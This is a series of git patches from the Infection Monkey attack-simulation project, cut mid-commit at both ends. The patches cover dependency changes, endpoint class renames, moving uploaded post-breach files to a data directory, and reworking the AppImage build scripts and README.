"sha512-HPT7cGGI0DuRcsO51qC1j9O16Dh1mZ2bnXwsi0jrSpsLz0WxOLSLXfkABVl6bZO629py3CU+OMJtpNHDLB97kg==", - "requires": { - "@babel/runtime": "^7.9.2" - } + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" }, "yargs": { "version": "13.3.2", @@ -18410,6 +22853,12 @@ "dev": true } } + }, + "zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", + "dev": true } } } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 540fe32ec49..1e164ba477b 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,6 +27,7 @@ "not dead" ], "devDependencies": { + "npm": "^6.14.8", "@babel/cli": "^7.12.1", "@babel/core": "^7.12.3", "@babel/plugin-proposal-class-properties": "^7.12.1", @@ -34,8 +35,10 @@ "@babel/preset-env": "^7.12.1", "@babel/preset-react": "^7.12.5", "@babel/runtime": "^7.12.5", + "@types/jest": "^26.0.15", "@types/node": "^14.14.11", "@types/react": "^16.14.2", + "@types/react-dom": "^16.9.9", "babel-eslint": "^10.1.0", "babel-loader": "^8.2.1", "copyfiles": "^2.4.0", @@ -70,8 +73,6 @@ "@fortawesome/free-solid-svg-icons": "^5.15.1", "@fortawesome/react-fontawesome": "^0.1.12", "@kunukn/react-collapse": "^1.2.7", - "@types/jest": "^26.0.15", - "@types/react-dom": "^16.9.9", "bootstrap": "^4.5.3", "classnames": "^2.2.6", "core-js": "^3.7.0", @@ -84,7 +85,6 @@ "lodash": "^4.17.20", "marked": "^2.0.0", "normalize.css": "^8.0.0", - "npm": "^6.14.8", "pluralize": "^7.0.0", "prop-types": "^15.7.2", "rainge": "^1.0.1", @@ -107,7 +107,6 @@ "react-redux": "^5.1.2", "react-router-dom": "^5.2.0", "react-spinners": "^0.9.0", - "react-step-wizard": "^5.3.5", "react-table": "^6.10.3", "react-toggle": "^4.1.1", "react-tooltip-lite": "^1.12.0", From 025cb7851cbab1dbc037d4e63a21facb5ab12697 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Apr 2021 15:33:02 +0530 Subject: [PATCH 0217/1360] Rename blackbox endpoint classes to match filenames --- monkey/monkey_island/cc/app.py | 14 ++++++++------ .../cc/resources/blackbox/log_blackbox_endpoint.py | 2 +- .../resources/blackbox/monkey_blackbox_endpoint.py | 2 +- .../blackbox/telemetry_blackbox_endpoint.py | 2 +- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 519d5787765..7467c4bdde4 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -13,9 +13,11 @@ from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration from monkey_island.cc.resources.blackbox.clear_caches import ClearCaches -from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogTestEndpoint -from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyTestEndpoint -from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import TelemetryTestEndpoint +from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint +from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint +from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( + TelemetryBlackboxEndpoint, +) from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.edge import Edge @@ -165,10 +167,10 @@ def init_api_resources(api): api.add_resource(AWSKeys, "/api/aws_keys") # Resources used by black box tests - api.add_resource(MonkeyTestEndpoint, "/api/test/monkey") + api.add_resource(MonkeyBlackboxEndpoint, "/api/test/monkey") api.add_resource(ClearCaches, "/api/test/clear_caches") - api.add_resource(LogTestEndpoint, "/api/test/log") - api.add_resource(TelemetryTestEndpoint, "/api/test/telemetry") + api.add_resource(LogBlackboxEndpoint, "/api/test/log") + api.add_resource(TelemetryBlackboxEndpoint, "/api/test/telemetry") def init_app(mongo_url): diff --git a/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py index 26868a289a6..c101b567a02 100644 --- a/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py +++ b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class LogTestEndpoint(flask_restful.Resource): +class LogBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py index 90333128081..2957fd4b9c0 100644 --- a/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py +++ b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class MonkeyTestEndpoint(flask_restful.Resource): +class MonkeyBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py index 0321bb86b3e..5573e51523f 100644 --- a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py +++ b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class TelemetryTestEndpoint(flask_restful.Resource): +class TelemetryBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) From 3b4bd7b08caa616ab5911bd5fc079cba8107737a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Apr 2021 13:59:29 -0400 Subject: [PATCH 0218/1360] cc: Upload custom PBAs to data_dir instead of MONKEY_ISLAND_ABS_PATH --- .../monkey_island/cc/resources/pba_file_download.py | 4 ++-- .../monkey_island/cc/resources/pba_file_upload.py | 13 ++++++++----- .../monkey_island/cc/services/post_breach_files.py | 7 ++----- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index aa5465b0d88..4bb409eec5a 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,7 +1,7 @@ import flask_restful from flask import send_from_directory -from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH +import monkey_island.cc.environment.environment_singleton as env_singleton __author__ = "VakarisZ" @@ -13,4 +13,4 @@ class PBAFileDownload(flask_restful.Resource): # Used by monkey. can't secure. def get(self, path): - return send_from_directory(ABS_UPLOAD_PATH, path) + return send_from_directory(env_singleton.env.get_config().data_dir_abs_path, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 36f138f1055..16d71cfeb5f 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,15 +1,16 @@ import copy import logging import os +from pathlib import Path import flask_restful from flask import Response, request, send_from_directory from werkzeug.utils import secure_filename +import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.post_breach_files import ( - ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH, ) @@ -29,7 +30,7 @@ class FileUpload(flask_restful.Resource): def __init__(self): # Create all directories on the way if they don't exist - ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True) + Path(env_singleton.env.get_config().data_dir_abs_path).mkdir(parents=True, exist_ok=True) @jwt_required def get(self, file_type): @@ -43,7 +44,7 @@ def get(self, file_type): filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) - return send_from_directory(ABS_UPLOAD_PATH, filename) + return send_from_directory(env_singleton.env.get_config().data_dir_abs_path, filename) @jwt_required def post(self, file_type): @@ -68,7 +69,7 @@ def delete(self, file_type): PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH ) filename = ConfigService.get_config_value(filename_path) - file_path = ABS_UPLOAD_PATH.joinpath(filename) + file_path = Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename) try: if os.path.exists(file_path): os.remove(file_path) @@ -87,7 +88,9 @@ def upload_pba_file(request_, is_linux=True): :return: filename string """ filename = secure_filename(request_.files["filepond"].filename) - file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() + file_path = ( + Path(env_singleton.env.get_config().data_dir_abs_path).joinpath(filename).absolute() + ) request_.files["filepond"].save(str(file_path)) ConfigService.set_config_value( (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 660d4848742..504522d9ab3 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -1,12 +1,11 @@ import logging import os -from pathlib import Path import monkey_island.cc.services.config __author__ = "VakarisZ" -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +import monkey_island.cc.environment.environment_singleton as env_singleton logger = logging.getLogger(__name__) @@ -15,8 +14,6 @@ PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] UPLOADS_DIR_NAME = "userUploads" -ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, "cc", UPLOADS_DIR_NAME) - def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): @@ -33,7 +30,7 @@ def remove_PBA_files(): def remove_file(file_name): - file_path = os.path.join(ABS_UPLOAD_PATH, file_name) + file_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, file_name) try: if os.path.exists(file_path): os.remove(file_path) From 905b095dd8decaeb14ab60691d98a40f46206a14 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 15 Apr 2021 16:11:09 +0530 Subject: [PATCH 0219/1360] Add --max-warnings=0 to eslint precommit --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index b06e9ce5600..2bceacbcc7d 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -32,4 +32,4 @@ repos: rev: v7.24.0 hooks: - id: eslint - args: ["monkey/monkey_island/cc/ui/src/", "--fix"] + args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] From aca4f8795fd5040c37b2a891bf2c9689f6ebcd44 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 13:22:43 -0400 Subject: [PATCH 0220/1360] build: Delete monkey_island_builder.yml This file was used by appimage-builder, which we are no longer using. --- .../appimage/monkey_island_builder.yml | 40 ------------------- 1 file changed, 40 deletions(-) delete mode 100644 deployment_scripts/appimage/monkey_island_builder.yml diff --git a/deployment_scripts/appimage/monkey_island_builder.yml b/deployment_scripts/appimage/monkey_island_builder.yml deleted file mode 100644 index 2c85c41d37c..00000000000 --- a/deployment_scripts/appimage/monkey_island_builder.yml +++ /dev/null @@ -1,40 +0,0 @@ -version: 1 - -AppDir: - path: '../monkey-appdir' - - app_info: - id: org.guardicore.monkey-island - name: Monkey Island - icon: monkey-icon - version: 1.10.0 - exec: bin/bash - exec_args: "$APPDIR/usr/src/monkey_island/linux/run_appimage.sh" - - - apt: - arch: amd64 - sources: - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic main restricted - key_url: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x3B4FE6ACC0B21F32 - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic universe - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security main restricted - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security universe - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted - - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates universe - - - include: - - bash - - python3.7 - - runtime: - env: - PATH: '${APPDIR}/usr/bin:${PATH}' - PYTHONHOME: '${APPDIR}/usr' - PYTHONPATH: '${APPDIR}/usr/lib/python3.7/site-packages' - -AppImage: - update-information: None - sign-key: None - arch: x86_64 From 14096ae758d868c11644a169c7b0e466efa0643a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 13:25:37 -0400 Subject: [PATCH 0221/1360] build: Rename monkey-island.desktop -> infection-monkey.desktop --- deployment_scripts/appimage/build_appimage.sh | 4 ++-- .../{monkey-island.desktop => infection-monkey.desktop} | 0 2 files changed, 2 insertions(+), 2 deletions(-) rename deployment_scripts/appimage/{monkey-island.desktop => infection-monkey.desktop} (100%) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 4603b27bd52..b006e3102e3 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -189,8 +189,8 @@ add_monkey_icon() { add_desktop_file() { unlink "$APPDIR"/python3.7.9.desktop - cp ./monkey-island.desktop "$APPDIR"/usr/share/applications - ln -s "$APPDIR"/usr/share/applications/monkey-island.desktop "$APPDIR"/monkey-island.desktop + cp ./infection-monkey.desktop "$APPDIR"/usr/share/applications + ln -s "$APPDIR"/usr/share/applications/infection-monkey.desktop "$APPDIR"/infection-monkey.desktop } add_apprun() { diff --git a/deployment_scripts/appimage/monkey-island.desktop b/deployment_scripts/appimage/infection-monkey.desktop similarity index 100% rename from deployment_scripts/appimage/monkey-island.desktop rename to deployment_scripts/appimage/infection-monkey.desktop From 3e96b208342e387dc1ab5ba9fd31cb7f96c50a14 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 13:30:29 -0400 Subject: [PATCH 0222/1360] build: Rename appimage icon to infection-monkey.svg --- deployment_scripts/appimage/build_appimage.sh | 6 +++--- deployment_scripts/appimage/infection-monkey.desktop | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index b006e3102e3..fb9b8f0bca0 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -82,7 +82,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"develop"} + branch=${2:-"postgresql-workaround-2"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${REPO_MONKEY_HOME}" @@ -183,8 +183,8 @@ build_frontend() { add_monkey_icon() { unlink "$APPDIR"/python.png mkdir -p "$APPDIR"/usr/share/icons - cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/monkey-icon.svg - ln -s "$APPDIR"/usr/share/icons/monkey-icon.svg "$APPDIR"/monkey-icon.svg + cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/infection-monkey.svg + ln -s "$APPDIR"/usr/share/icons/infection-monkey.svg "$APPDIR"/infection-monkey.svg } add_desktop_file() { diff --git a/deployment_scripts/appimage/infection-monkey.desktop b/deployment_scripts/appimage/infection-monkey.desktop index 07c01ea082f..93a2c034116 100644 --- a/deployment_scripts/appimage/infection-monkey.desktop +++ b/deployment_scripts/appimage/infection-monkey.desktop @@ -3,6 +3,6 @@ Type=Application Name=Infection Monkey Exec=bash Comment=Infection Monkey FILL ME IN -Icon=monkey-icon +Icon=infection-monkey Categories=Development; Terminal=true From 79e3c69ffb786f7cfbbfc4c01818b7abed7485d1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 13:32:06 -0400 Subject: [PATCH 0223/1360] build: Fill in comment in AppImage .desktop file --- deployment_scripts/appimage/infection-monkey.desktop | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/appimage/infection-monkey.desktop b/deployment_scripts/appimage/infection-monkey.desktop index 93a2c034116..5869ef18737 100644 --- a/deployment_scripts/appimage/infection-monkey.desktop +++ b/deployment_scripts/appimage/infection-monkey.desktop @@ -2,7 +2,7 @@ Type=Application Name=Infection Monkey Exec=bash -Comment=Infection Monkey FILL ME IN +Comment=An automated breach and attack simulation platform Icon=infection-monkey Categories=Development; Terminal=true From 6218a476afcc936af5907327f4d9ddeb297d2153 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 14:43:43 -0400 Subject: [PATCH 0224/1360] build: remove appimage-builder prereqs --- deployment_scripts/appimage/build_appimage.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index fb9b8f0bca0..53fdda07270 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -48,9 +48,6 @@ install_build_prereqs() { sudo apt update sudo apt upgrade - # appimage-builder prereqs - sudo apt install -y patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace - # monkey island prereqs sudo apt install -y curl libcurl4 openssl git build-essential moreutils install_nodejs From 6ad68557fc4fa14607d7f0675e7d241a9a393d8e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 14:44:02 -0400 Subject: [PATCH 0225/1360] build: switch appimage build branch to develop --- deployment_scripts/appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 53fdda07270..fe3e89e0bfb 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -79,7 +79,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"postgresql-workaround-2"} + branch=${2:-"develop"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${REPO_MONKEY_HOME}" From eb006f88bd25482ea6999764e6f3d9a933497de1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 14 Apr 2021 14:47:21 -0400 Subject: [PATCH 0226/1360] Update CHANGELOG.md for AppImage v2 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d675e0461f5..cc8ecd79149 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - PostgreSQL fingerprinter. #892 - A runtime-configurable option to specify a data directory where runtime configuration and other artifacts can be stored. #994 -- Scripts to build a prototype AppImage for Monkey Island. #1069 +- Scripts to build an AppImage for Monkey Island. #1069, #1090 ### Changed - server_config.json can be selected at runtime. #963 From 81860e97e7dcd3dc36c38dba89bef5157d23e76f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 06:26:24 -0400 Subject: [PATCH 0227/1360] build: move ./deployment_scripts/appimage -> ./appimage --- {deployment_scripts/appimage => appimage}/.gitignore | 0 {deployment_scripts/appimage => appimage}/AppRun | 0 {deployment_scripts/appimage => appimage}/README.md | 0 {deployment_scripts/appimage => appimage}/build_appimage.sh | 0 .../appimage => appimage}/infection-monkey.desktop | 0 .../appimage => appimage}/island_logger_config.json | 0 {deployment_scripts/appimage => appimage}/run_appimage.sh | 0 .../appimage => appimage}/server_config.json.standard | 0 8 files changed, 0 insertions(+), 0 deletions(-) rename {deployment_scripts/appimage => appimage}/.gitignore (100%) rename {deployment_scripts/appimage => appimage}/AppRun (100%) rename {deployment_scripts/appimage => appimage}/README.md (100%) rename {deployment_scripts/appimage => appimage}/build_appimage.sh (100%) rename {deployment_scripts/appimage => appimage}/infection-monkey.desktop (100%) rename {deployment_scripts/appimage => appimage}/island_logger_config.json (100%) rename {deployment_scripts/appimage => appimage}/run_appimage.sh (100%) rename {deployment_scripts/appimage => appimage}/server_config.json.standard (100%) diff --git a/deployment_scripts/appimage/.gitignore b/appimage/.gitignore similarity index 100% rename from deployment_scripts/appimage/.gitignore rename to appimage/.gitignore diff --git a/deployment_scripts/appimage/AppRun b/appimage/AppRun similarity index 100% rename from deployment_scripts/appimage/AppRun rename to appimage/AppRun diff --git a/deployment_scripts/appimage/README.md b/appimage/README.md similarity index 100% rename from deployment_scripts/appimage/README.md rename to appimage/README.md diff --git a/deployment_scripts/appimage/build_appimage.sh b/appimage/build_appimage.sh similarity index 100% rename from deployment_scripts/appimage/build_appimage.sh rename to appimage/build_appimage.sh diff --git a/deployment_scripts/appimage/infection-monkey.desktop b/appimage/infection-monkey.desktop similarity index 100% rename from deployment_scripts/appimage/infection-monkey.desktop rename to appimage/infection-monkey.desktop diff --git a/deployment_scripts/appimage/island_logger_config.json b/appimage/island_logger_config.json similarity index 100% rename from deployment_scripts/appimage/island_logger_config.json rename to appimage/island_logger_config.json diff --git a/deployment_scripts/appimage/run_appimage.sh b/appimage/run_appimage.sh similarity index 100% rename from deployment_scripts/appimage/run_appimage.sh rename to appimage/run_appimage.sh diff --git a/deployment_scripts/appimage/server_config.json.standard b/appimage/server_config.json.standard similarity index 100% rename from deployment_scripts/appimage/server_config.json.standard rename to appimage/server_config.json.standard From e0fd620d9dcb3d9473a1cbdf6ae0b3346fd2cc30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 06:29:47 -0400 Subject: [PATCH 0228/1360] build: Update appimage README since we switched from appimage-builder --- appimage/README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/appimage/README.md b/appimage/README.md index 7a76a72750b..b1c3010e486 100644 --- a/appimage/README.md +++ b/appimage/README.md @@ -2,8 +2,8 @@ ## About -This directory contains the necessary artifacts for building a prototype -monkey_island AppImage using appimage-builder. +This directory contains the necessary artifacts for building an Infection +Monkey AppImage ## Building an AppImage @@ -27,9 +27,9 @@ build_appimage.sh`. ## Running the AppImage -The build script will produce an AppImage executible named something like -`Monkey Island-VERSION-x86-64.AppImage`. Simply execute this file and you're -off to the races. +The build script will produce an AppImage executible named +`Infection_Monkey-x86_64.AppImage`. Simply execute this file and you're off to +the races. A new directory, `$HOME/.monkey_island` will be created to store runtime artifacts. From bc1f583e20d58083057b1b22e3623e5a1dffa3f7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 07:37:07 -0400 Subject: [PATCH 0229/1360] appimage: remove unused $executable var from AppRun --- appimage/AppRun | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/appimage/AppRun b/appimage/AppRun index 322f4a5d9d3..1a39dddb66f 100755 --- a/appimage/AppRun +++ b/appimage/AppRun @@ -25,17 +25,5 @@ do fi done -# Get the executable name, i.e. the AppImage or the python binary if running from an -# extracted image -executable="${APPDIR}/opt/python3.7/bin/python3.7" -if [[ "${ARGV0}" =~ "/" ]]; then - executable="$(cd $(dirname ${ARGV0}) && pwd)/$(basename ${ARGV0})" -elif [[ "${ARGV0}" != "" ]]; then - executable=$(which "${ARGV0}") -fi - -# Wrap the call to Python in order to mimic a call from the source -# executable ($ARGV0), but potentially located outside of the Python -# install ($PYTHONHOME) (PYTHONHOME="${APPDIR}/opt/python3.7" exec "/bin/bash" "${APPDIR}/usr/src/monkey_island/linux/run_appimage.sh") exit "$?" From 54754698fdaeee119f0b44ff10a66ebfc48aca30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 07:48:32 -0400 Subject: [PATCH 0230/1360] appimage: remove unnecessary blank lines in run_appimage.sh --- appimage/run_appimage.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/appimage/run_appimage.sh b/appimage/run_appimage.sh index d7945765a95..1c84b41f1b2 100644 --- a/appimage/run_appimage.sh +++ b/appimage/run_appimage.sh @@ -15,9 +15,6 @@ configure_default_server() { fi } - - - # shellcheck disable=SC2174 mkdir --mode=0700 --parents "$DOT_MONKEY" From 5a1a5fc6fe6aedce80650118890887d601d56729 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 11:37:10 -0400 Subject: [PATCH 0231/1360] cc: Set cwd when executing monkey binary from the island Since AppImages are read-only filesystems, the agent cannot create any files in `./`. Therefore, setting cwd in the `subprocess.Popen()` call will change CWD to a writable directory if `data_dir` is set. --- monkey/monkey_island/cc/resources/local_run.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index d9dfc0e391b..2adc60cbedd 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -30,14 +30,15 @@ def run_local_monkey(): if not result: return False, "OS Type not found" - monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - target_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, result["filename"]) + src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) + dest_dir = env_singleton.env.get_config().data_dir_abs_path + dest_path = os.path.join(dest_dir, result["filename"]) # copy the executable to temp path (don't run the monkey from its current location as it may # delete itself) try: - copyfile(monkey_path, target_path) - os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) + copyfile(src_path, dest_path) + os.chmod(dest_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: logger.error("Copy file failed", exc_info=True) return False, "Copy file failed: %s" % exc @@ -46,11 +47,11 @@ def run_local_monkey(): try: args = [ '"%s" m0nk3y -s %s:%s' - % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) + % (dest_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) ] if sys.platform == "win32": args = "".join(args) - subprocess.Popen(args, shell=True).pid + subprocess.Popen(args, cwd=dest_dir, shell=True).pid except Exception as exc: logger.error("popen failed", exc_info=True) return False, "popen failed: %s" % exc From 159aa604d3ee36665c29be2316361ca3591fb848 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 12:19:36 -0400 Subject: [PATCH 0232/1360] appimage: add `-y` to `sudo apt upgrade` to avoid prompt --- appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index fe3e89e0bfb..114aa1c66d3 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -46,7 +46,7 @@ install_nodejs() { install_build_prereqs() { sudo apt update - sudo apt upgrade + sudo apt upgrade -y # monkey island prereqs sudo apt install -y curl libcurl4 openssl git build-essential moreutils From 66c5d9126659dbe77e784b403536acaad315bdd6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 12:20:10 -0400 Subject: [PATCH 0233/1360] appimage: Fix CLI parameter for choosing branch. --- appimage/build_appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 114aa1c66d3..797b5169a7a 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -79,7 +79,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"develop"} + branch=${1:-"develop"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${REPO_MONKEY_HOME}" From f3439bb2c415c6202ead608077c330585e7e5653 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 15 Apr 2021 12:20:33 -0400 Subject: [PATCH 0234/1360] appimage: add log message when downloading Python3.7 AppImage --- appimage/build_appimage.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 797b5169a7a..b389c67db90 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -105,6 +105,8 @@ setup_appdir() { setup_python_37_appdir() { PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" rm -rf "$APPDIR" || true + + log_message "downloading Python3.7 Appimage" curl -L -o 